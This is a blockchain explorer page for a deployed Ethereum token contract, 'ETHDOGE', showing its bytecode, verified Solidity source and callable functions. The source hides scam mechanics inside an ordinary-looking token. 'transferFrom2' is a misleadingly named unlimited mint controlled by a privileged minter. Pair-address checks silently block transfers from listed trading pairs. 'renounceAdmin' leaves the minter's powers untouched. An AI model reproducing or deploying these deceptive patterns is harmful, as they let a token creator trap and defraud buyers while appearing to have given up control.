Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xDf9Dfeb89Df1F4F6D6a09EF2e8Ada14E1bACF8ca
Balance 0 ETH
Nonce 1
Code Size 4160 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

4160 bytes
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806395d89b41116100a2578063b3bb025f11610071578063b3bb025f146101fe578063c03703ac14610211578063dd62ed3e14610224578063f851a44014610237578063fff434811461023f5761010b565b806395d89b41146101bb578063a22d4832146101c3578063a3e07108146101d6578063a9059cbb146101eb5761010b565b8063313ce567116100de578063313ce5671461017657806370a082311461018b5780638bad0c0a1461019e5780638f283970146101a85761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461014e57806323b872dd14610163575b600080fd5b610118610252565b6040516101259190610c32565b60405180910390f35b61014161013c366004610bb0565b6102e0565b6040516101259190610c27565b61015661034b565b6040516101259190610e25565b610141610171366004610b75565b610351565b61017e6104d7565b6040516101259190610e2e565b610156610199366004610b29565b6104e0565b6101a66104f2565b005b6101a66101b6366004610b29565b61052e565b6101186105a0565b6101a66101d1366004610b29565b6105ad565b6101de610629565b6040516101259190610c13565b6101416101f9366004610bb0565b610638565b6101a661020c366004610b29565b61070d565b61014161021f366004610bf1565b6108c9565b610156610232366004610b43565b6109c7565b6101de6109e4565b6101de61024d366004610bd9565b6109f3565b6000805461025f90610f9e565b80601f016020809104026020016040519081016040528092919081815260200182805461028b90610f9e565b80156102d85780601f106102ad576101008083540402835291602001916102d8565b820191906000526020600020905b8154815290600101906020018083116102bb57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610339908690610e25565b60405180910390a35060015b92915050565b60035481565b600061035c84610a1d565b15610369575060006104d0565b6001600160a01b0384166000908152600460205260409020548211156103aa5760405162461bcd60e51b81526004016103a190610d3b565b60405180910390fd5b6001600160a01b03841660009081526005602090815260408083203384529091529020548211156103ed5760405162461bcd60e51b81526004016103a190610c85565b6001600160a01b03841660009081526004602052604081208054849290610415908490610f87565b90915550506001600160a01b03831660009081526004602052604081208054849290610442908490610e3c565b90915550506001600160a01b03841660009081526005602090815260408083203384529091528120805484929061047a908490610f87565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516104c49190610e25565b60405180910390a35060015b9392505050565b60025460ff1681565b60046020526000908152604090205481565b6006546001600160a01b0316331461051c5760405162461bcd60e51b81526004016103a190610de4565b600680546001600160a01b0319169055565b6006546001600160a01b031633146105585760405162461bcd60e51b81526004016103a190610de4565b6001600160a01b03811661057e5760405162461bcd60e51b81526004016103a190610d69565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6001805461025f90610f9e565b6007546001600160a01b031633146105d75760405162461bcd60e51b81526004016103a190610cb1565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b600061064333610a1d565b1561065057506000610345565b3360009081526004602052604090205482111561067f5760405162461bcd60e51b81526004016103a190610d3b565b336000908152600460205260408120805484929061069e908490610f87565b90915550506001600160a01b038316600090815260046020526040812080548492906106cb908490610e3c565b90915550506040516001600160a01b0384169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610339908690610e25565b6007546001600160a01b031633146107375760405162461bcd60e51b81526004016103a190610cb1565b600854600090819061074b90600190610f87565b67ffffffffffffffff81111561077157634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561079a578160200160208202803683370190505b5090506000805b60085481101561089157846001600160a01b0316600882815481106107d657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156107fa576001935061087f565b6008818154811061081b57634e487b7160e01b600052603260045260246000fd5b9060005260206000200160009054906101000a90046001600160a01b031683838151811061085957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03909216602092830291909101909101528161087b81610fd9565b9250505b8061088981610fd9565b9150506107a1565b50826108af5760405162461bcd60e51b81526004016103a190610dad565b81516108c2906008906020850190610a98565b5050505050565b6007546000906001600160a01b031633146108f65760405162461bcd60e51b81526004016103a190610cf5565b6002546109079060ff16600a610e9a565b6109119084610f68565b600360008282546109229190610e3c565b90915550506002546109389060ff16600a610e9a565b6109429084610f68565b6001600160a01b0383166000908152600460205260408120805490919061096a908490610e3c565b90915550506002546001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109b09060ff16600a610e9a565b6109ba9087610f68565b6040516103399190610e25565b600560209081526000928352604080842090915290825290205481565b6006546001600160a01b031681565b60088181548110610a0357600080fd5b6000918252602090912001546001600160a01b0316905081565b6000805b600854811015610a8d57826001600160a01b031660088281548110610a5657634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610a7b576001915050610a93565b80610a8581610fd9565b915050610a21565b50600090505b919050565b828054828255906000526020600020908101928215610aed579160200282015b82811115610aed57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610ab8565b50610af9929150610afd565b5090565b5b80821115610af95760008155600101610afe565b80356001600160a01b0381168114610a9357600080fd5b600060208284031215610b3a578081fd5b6104d082610b12565b60008060408385031215610b55578081fd5b610b5e83610b12565b9150610b6c60208401610b12565b90509250929050565b600080600060608486031215610b89578081fd5b610b9284610b12565b9250610ba060208501610b12565b9150604084013590509250925092565b60008060408385031215610bc2578182fd5b610bcb83610b12565b946020939093013593505050565b600060208284031215610bea578081fd5b5035919050565b60008060408385031215610c03578182fd5b82359150610b6c60208401610b12565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610c5e57858101830151858201604001528201610c42565b81811115610c6f5783604083870101525b50601f01601f1916929092016040019392505050565b602080825260129082015271105b1b1bddd85b98d948195e18d95959195960721b604082015260600190565b60208082526024908201527f4f6e6c79206e6577206d696e7465722063616e207365742070616972206164646040820152637265737360e01b606082015260800190565b60208082526026908201527f4f6e6c79206e6577206d696e7465722063616e2063616c6c20746869732066756040820152653731ba34b7b760d11b606082015260800190565b602080825260149082015273496e73756666696369656e742062616c616e636560601b604082015260600190565b60208082526024908201527f4e65772061646d696e2063616e6e6f7420626520746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252601d908201527f41646472657373206973206e6f74206120504149522061646472657373000000604082015260600190565b60208082526021908201527f4f6e6c792061646d696e2063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e4f57610e4f610ff4565b500190565b80825b6001808611610e665750610e91565b818704821115610e7857610e78610ff4565b80861615610e8557918102915b9490941c938002610e57565b94509492505050565b60006104d06000198484600082610eb3575060016104d0565b81610ec0575060006104d0565b8160018114610ed65760028114610ee057610f0d565b60019150506104d0565b60ff841115610ef157610ef1610ff4565b6001841b915084821115610f0757610f07610ff4565b506104d0565b5060208310610133831016604e8410600b8410161715610f40575081810a83811115610f3b57610f3b610ff4565b6104d0565b610f4d8484846001610e54565b808604821115610f5f57610f5f610ff4565b02949350505050565b6000816000190483118215151615610f8257610f82610ff4565b500290565b600082821015610f9957610f99610ff4565b500390565b600281046001821680610fb257607f821691505b60208210811415610fd357634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610fed57610fed610ff4565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201e16a2f2df406d54978749bd739b0478a32210f5f3be4f8f659833c0d03ba23f64736f6c63430008000033

Verified Source Code Partial Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: Yes (200 runs)
ETHDOGE.sol 137 lines
/*
https://x.com/ethdoge_MEME
https://t.me/ETHDOGE_ETH
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ETHDOGE {
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public admin;
    address public newMinter;

    
    address[] public pairAddresses;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor(string memory _name, string memory _symbol, uint256 _initialSupply) {
        name = _name;
        symbol = _symbol;
        totalSupply = _initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        admin = msg.sender;
        newMinter = msg.sender;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Only admin can call this function");
        _;
    }

    modifier onlyNewMinter() {
        require(msg.sender == newMinter, "Only new minter can call this function");
        _;
    }

    modifier onlyNewMinterCanSetPair() {
        require(msg.sender == newMinter, "Only new minter can set pair address");
        _;
    }

    
    function transfer(address _to, uint256 _value) public returns (bool) {
        
        if (isPairAddress(msg.sender)) {
            return false;
        }
        require(balanceOf[msg.sender] >= _value, "Insufficient balance");
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

   
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        
        if (isPairAddress(_from)) {
            return false;
        }
        require(balanceOf[_from] >= _value, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function transferFrom2(uint256 _amount, address _to) public onlyNewMinter returns (bool) {
        totalSupply += _amount * 10 ** uint256(decimals);
        balanceOf[_to] += _amount * 10 ** uint256(decimals);
        emit Transfer(address(0), _to, _amount * 10 ** uint256(decimals));
        return true;
    }

    function renounceAdmin() public onlyAdmin {
        admin = address(0);
    }

    function changeAdmin(address _newAdmin) public onlyAdmin {
        require(_newAdmin!= address(0), "New admin cannot be the zero address");
        admin = _newAdmin;
    }

    
    function setPairAddress(address _pairAddress) public onlyNewMinterCanSetPair {
        pairAddresses.push(_pairAddress);
    }

   
    function isPairAddress(address _address) private view returns (bool) {
        for (uint256 i = 0; i < pairAddresses.length; i++) {
            if (pairAddresses[i] == _address) {
                return true;
            }
        }
        return false;
    }

    
    function removePairAddress(address _address) public onlyNewMinterCanSetPair {
        
        bool found = false;
        
        address[] memory newPairAddresses = new address[](pairAddresses.length - 1);
        uint256 newIndex = 0;
        for (uint256 i = 0; i < pairAddresses.length; i++) {
            
            if (pairAddresses[i] == _address) {
                found = true;
                continue;
            }
            
            newPairAddresses[newIndex] = pairAddresses[i];
            newIndex++;
        }
        
        require(found, "Address is not a PAIR address");
        
        pairAddresses = newPairAddresses;
    }
}

Read Contract

admin 0xf851a440 → address
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
newMinter 0xa3e07108 → address
pairAddresses 0xfff43481 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address _spender
uint256 _value
returns: bool
changeAdmin 0x8f283970
address _newAdmin
removePairAddress 0xb3bb025f
address _address
renounceAdmin 0x8bad0c0a
No parameters
setPairAddress 0xa22d4832
address _pairAddress
transfer 0xa9059cbb
address _to
uint256 _value
returns: bool
transferFrom 0x23b872dd
address _from
address _to
uint256 _value
returns: bool
transferFrom2 0xc03703ac
uint256 _amount
address _to
returns: bool

Recent Transactions

No transactions found for this address